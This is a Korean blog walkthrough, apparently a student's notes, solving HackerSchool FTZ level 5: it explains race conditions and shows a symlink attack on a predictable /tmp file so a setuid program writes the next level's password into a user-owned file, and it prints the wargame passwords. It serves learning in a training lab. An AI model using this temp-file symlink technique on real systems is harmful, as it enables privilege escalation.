[ftz] hackerschool level5 풀이

l hackerschool level5 풀이

실행 환경 : VMware Workstation 14 Player, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


login as: level5
level5@192.168.146.128's password:

 

 

 

level5 문제의 아이디인  level5 와 password인   what is your name? 을 입력하여 level5의 유저로 접속합니다.

 

 

 

[level5@ftz level5]$ ls -l
total 12
-rw-r--r--    1 root     root          129 Mar 23  2000 hint
drwxr-xr-x    2 root     level5       4096 Feb 24  2002 public_html
drwxrwx---    2 root     level5       4096 Jul  8 08:31 tmp

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level5 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에 
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

 

 

[level5@ftz level5]$ ls -l /usr/bin/level5
-rws--x---    1 level6   level5      12236 Sep 10  2011 /usr/bin/level5
[level5@ftz level5]$ /usr/bin/level5
[level5@ftz level5]$

 

 

 

문제를 풀기 전에 힌트에서 봤던 /usr/bin/level5 파일이 어떤 파일인지 보겠습니다. 

level6의 권한으로 setuid가 걸려있는 파일인데 실행을 해도 아무런 결과가 나오지 않는 것을 확인할 수 있습니다.

 

 

 

[level5@ftz level5]$ ls -l /tmp/level5.tmp
ls: /tmp/level5.tmp: No such file or directory

 

 

파일을 실행 후 /tmp 디렉토리 안을 보았지만 힌트에서 언급된 파일도 만들어지지 않았습니다. 힌트에서 분명 파일이 만들어진다고 했으나 파일이 없는 것을 봐서는 사용자가 보기 전 빠르게 파일이 삭제되었다는 것을 추측해볼 수 있습니다.

 

 

이번 문제는 레이스컨디션이라는 개념에 대한 문제입니다. 레이스 컨디션이란 한정된 자원을 여러 프로세스들이 사용하기 위해 경쟁하는 것을 의미합니다.

 

레이스 컨디션 공격을 위해서는 아래의 3가지 조건이 필요합니다.

1. SUID가 걸려있어야 합니다.

2. 임시파일을 생성해야 합니다.

3. 임시로 생성되는 파일의 이름을 알아야 합니다.

 

이 문제에 적용해보도록 하겠습니다.

1. /usr/bin/level5에 level6의 권한으로 setuid가 걸려있는 것을 확인할 수 있습니다.

2. 힌트에서 볼 수 있듯이 /usr/bin/level5 프로그램은 임시파일을 생성합니다.

3. 생성되는 임시파일의 이름이 level5.tmp라는 것을 알 수 있습니다.

 

 

레이스 컨디션 환경은 아래와 같습니다.

1. 프로그램을 실행 시 임시파일을 생성합니다.

2. 생성된 파일에 내용을 쓰고, 쓴 내용을 읽어 들여 처리 및 사용합니다.

3. 파일을 삭제합니다. 

 

 

이 문제에서 사용자가 임시 파일을 확인하기도 전에 사라지므로 임시 파일이 삭제되어도 그 내용을 가지고 있는 파일을 만들어 두겠습니다. 그렇기 위해 심볼릭 링크라는 개념을 이용할 것입니다. 심볼릭 링크에 관한 간단한 개념을 아래 적어두었습니다.

 

 

l 심볼릭 링크란?

더보기

심볼릭 링크란 어떤 원본 파일을 가리키고 있는 링크 파일을 의미합니다.

ln -s [원본 파일] [링크 파일] 명령어로 사용할 수 있으며 결과는 [링크 파일] -> [원본 파일] 이 됩니다. 

 

[level5@ftz tmp]$ touch lnoriginal
[level5@ftz tmp]$ ln -s lnoriginal lnlink
[level5@ftz tmp]$ ls -l lnoriginal
-rw-rw-r-- 1 level5 level5 0 Sep 24 07:49 lnoriginal
[level5@ftz tmp]$ ls -l lnlink
lrwxrwxrwx 1 level5 level5 10 Sep 24 07:50 lnlink -> lnoriginal

 

ln -s lnoriginal lnlink를 했을 때 위의 결과를 확인할 수 있습니다. 심볼릭 링크의 경우 lnlink가 단순히 lnoriginal을 참조하는 것만이 아닙니다. 원본 파일을 수정해도 lnlink 파일에 수정된 내용이 적용이 되고, lnlink 파일을 수정해도 lnoriginal 파일에 수정된 내용이 적용되는 것을 확인할 수 있습니다.

 

 

[level5@ftz tmp]$ rm lnoriginal
[level5@ftz tmp]$ cat lnlink
cat: lnlink: No such file or directory
[level5@ftz tmp]$ ls -l lnlink
lrwxrwxrwx 1 level5 level5 10 Sep 24 07:50 lnlink -> lnoriginal

 

또한 lnoriginal 파일을 삭제하게 되면 그것을 가리키고 있는 lnlink 파일 또한 삭제된 것을 확인할 수 있습니다.

 

 

ln -s [원본 파일] [링크 파일] 명령을 사용하게 되면 아래의 과정으로 원본 파일에 임시 파일의 내용이 남아있게 됩니다.

1. 원본 파일을 생성합니다.

2. 원본 파일을 가리키는 /tmp/level5.tmp 파일을 만듭니다.

3. /usr/bin/level5 파일을 실행하면 /tmp/level5.tmp파일에 내용이 써지고, 그 파일이 가리키고 있는 원본 파일에도 같은 내용이 써집니다.

4. /tmp/level5.tmp 파일이 삭제되어도 원본 파일에 임시 파일의 내용이 남아있습니다.

 

 

 

[level5@ftz tmp]$ touch lvl5pass 
[level5@ftz tmp]$ ln -s lvl5pass level5.tmp 
[level5@ftz tmp]$ ls -l 
total 8 
lrwxrwxrwx 1 level5 level5 8 Sep 24 08:13 level5.tmp -> lvl5pass
-rw-rw-r-- 1 level5 level5 0 Sep 24 08:13 lvl5pass

 

 

 

lvl5pass 라는 원본 파일을 생성하고 level5.tmp가 가리키도록 해주었습니다. lvl5pass 파일을 보면 현재 용량이 0인 것을 확인할 수 있습니다.

 

 

 

[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ls -l lvl5pass
-rw-rw-r--    1 level5   level5         31 Sep 24 08:18 lvl5pass

 

 

 

하지만 /usr/bin/level5를 실행한 후 lvl5pass 파일의 용량이 31로 변한 것을 확인할 수 있습니다. cat을 이용하여 lvl5pass의 내용을 보면 level6의 비밀번호를 확인할 수 있습니다.

 

 

 

l level6 비밀번호

더보기

next password : what the hell

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level7 풀이  (0) 2019.11.05
[ftz] hackerschool level6 풀이  (0) 2019.11.04
[ftz] hackerschool level4 풀이  (0) 2019.10.03
[ftz] hackerschool level3 풀이  (0) 2019.09.29
[ftz] hackerschool level2 풀이  (0) 2019.09.27

이 글을 공유하기

댓글

Designed by JB FACTORY